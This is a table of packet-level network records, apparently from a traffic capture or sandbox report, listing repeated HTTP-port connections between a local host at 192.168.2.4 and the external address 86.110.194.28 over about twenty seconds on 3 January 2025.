Jan 3, 2025 18:27:48.295115948 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.643544912 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.648643017 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.648658037 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.648667097 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.970658064 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.018316984 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.101741076 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.143301964 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.220269918 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.220556021 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.225255013 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.225310087 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.225370884 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.225436926 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.225564957 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.230297089 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.580897093 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:49.585828066 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.585839987 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.585855007 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.935626030 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:49.987154961 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.068924904 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.112046957 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.186184883 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.186245918 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.191437960 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.191584110 CET	80	57106	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.191670895 CET	57106	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.191685915 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.191803932 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.196535110 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.549658060 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:50.555015087 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.555028915 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.555037975 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.880208015 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:50.924628973 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.012696981 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.065196991 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.139933109 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.140124083 CET	57108	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.145030022 CET	80	57108	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.145042896 CET	80	57107	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.145102978 CET	57107	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.145116091 CET	57108	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.145221949 CET	57108	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.150031090 CET	80	57108	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.378590107 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.378655910 CET	57108	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.383548975 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.383604050 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.383753061 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.388555050 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.423858881 CET	80	57108	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.502033949 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.506867886 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.506949902 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.507049084 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.511805058 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.623640060 CET	80	57108	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.623702049 CET	57108	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.737745047 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.742598057 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.742686987 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.862157106 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:51.868247032 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.868257999 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:51.868266106 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.070657969 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.112150908 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.200551987 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.211743116 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.252724886 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.252727032 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.348356962 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.393311977 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.495382071 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.495543003 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.495791912 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.500413895 CET	80	57109	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.500467062 CET	57109	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.500520945 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.500581980 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.500680923 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.500714064 CET	80	57110	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.500757933 CET	57110	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.505451918 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.846970081 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:52.851952076 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.851967096 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:52.851975918 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.199924946 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.252777100 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.332490921 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.377679110 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.596018076 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.596307993 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.600975037 CET	80	57111	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.601020098 CET	57111	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.601057053 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.601109028 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.601212025 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.605961084 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.955903053 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:53.960774899 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.960787058 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:53.960797071 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.278213978 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.330805063 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.406502008 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.455800056 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.539812088 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.540131092 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.544816017 CET	80	57112	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.544902086 CET	57112	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.544909954 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.544975996 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.545078993 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.550627947 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.893465996 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:54.898381948 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.898395061 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:54.898403883 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.251940966 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.299669027 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.398859024 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.440186024 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.513216019 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.513282061 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.518110991 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.518184900 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.518273115 CET	80	57113	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.518326044 CET	57113	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.521249056 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.526072025 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.877887964 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:55.882761955 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.882776976 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:55.882786989 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.212935925 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.345933914 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.351326942 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.533497095 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.533549070 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.538325071 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.538408041 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.538460970 CET	80	57115	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.541343927 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.541368008 CET	57115	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.546161890 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.893399954 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:56.898293018 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.898304939 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:56.898335934 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.209148884 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.209800959 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.213921070 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.214034081 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.214255095 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.214669943 CET	80	57116	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.214718103 CET	57116	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.219041109 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.344810963 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.349565983 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.349653006 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.349770069 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.354480982 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.565253019 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.570866108 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.570990086 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.705903053 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:57.713407993 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.713419914 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.713435888 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:57.905055046 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.034455061 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.037679911 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.047287941 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.096437931 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.178388119 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.339909077 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.339965105 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.340221882 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.344930887 CET	80	57122	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.344964027 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.345011950 CET	57122	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.345036983 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.345115900 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.345264912 CET	80	57124	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.345563889 CET	57124	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.349911928 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.690383911 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:58.695240974 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.695252895 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:58.695261002 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.030631065 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.112113953 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.160298109 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.299577951 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.469935894 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.470601082 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.474983931 CET	80	57134	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.475052118 CET	57134	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.475424051 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.475549936 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.475684881 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.480432987 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.830909967 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:59.835748911 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.835761070 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:59.835769892 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.183603048 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.299596071 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.310597897 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.408966064 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.438577890 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.438817024 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.443574905 CET	80	57137	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.443629980 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.443649054 CET	57137	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.443691969 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.443778038 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.449286938 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.799659014 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:00.804526091 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.804538012 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:00.804547071 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.141184092 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.274350882 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.274419069 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.406575918 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.406584978 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.412405014 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.412484884 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.412576914 CET	80	57146	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.412620068 CET	57146	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.412694931 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.418584108 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.768501043 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:01.773370981 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.773385048 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:01.773396015 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.129822969 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.266278028 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.266469955 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.490164995 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.490730047 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.495136976 CET	80	57152	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.495183945 CET	57152	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.495563030 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.495623112 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.495760918 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:02.500528097 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:02.846636057 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.013778925 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.013912916 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.013925076 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.050524950 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.050753117 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.055670023 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.055737972 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.055849075 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.055969954 CET	80	57159	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.056013107 CET	57159	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.061014891 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.188908100 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.194672108 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.194730997 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.194828033 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.199620008 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.409040928 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.413902044 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.413979053 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.549772024 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:03.555403948 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.555521011 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.555536032 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.742019892 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.872391939 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.874629974 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:03.874700069 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.007333040 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.011224985 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.124015093 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.124069929 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.124341965 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.129163027 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.129239082 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.129352093 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.129630089 CET	80	57162	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.129641056 CET	80	57165	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.129687071 CET	57162	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.129708052 CET	57165	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.134072065 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.487148046 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:04.492052078 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.492068052 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.492077112 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.845910072 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.984230995 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:04.985294104 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.108221054 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.108402967 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.113161087 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.113770008 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.113848925 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.118560076 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.141947031 CET	80	57172	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.145474911 CET	57172	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.471652985 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.476557016 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.476567984 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.476577044 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.840491056 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:05.908962011 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:05.974874020 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.095797062 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.096132040 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.100811958 CET	80	57179	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.100857973 CET	57179	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.100940943 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.100999117 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.101088047 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.105797052 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.455930948 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.460832119 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.460841894 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.460920095 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.779438972 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:06.908961058 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:06.910748005 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.030934095 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.031013966 CET	57185	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.035800934 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.035862923 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.035943031 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.036075115 CET	80	57185	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.036118031 CET	57185	80	192.168.2.4	86.110.194.28
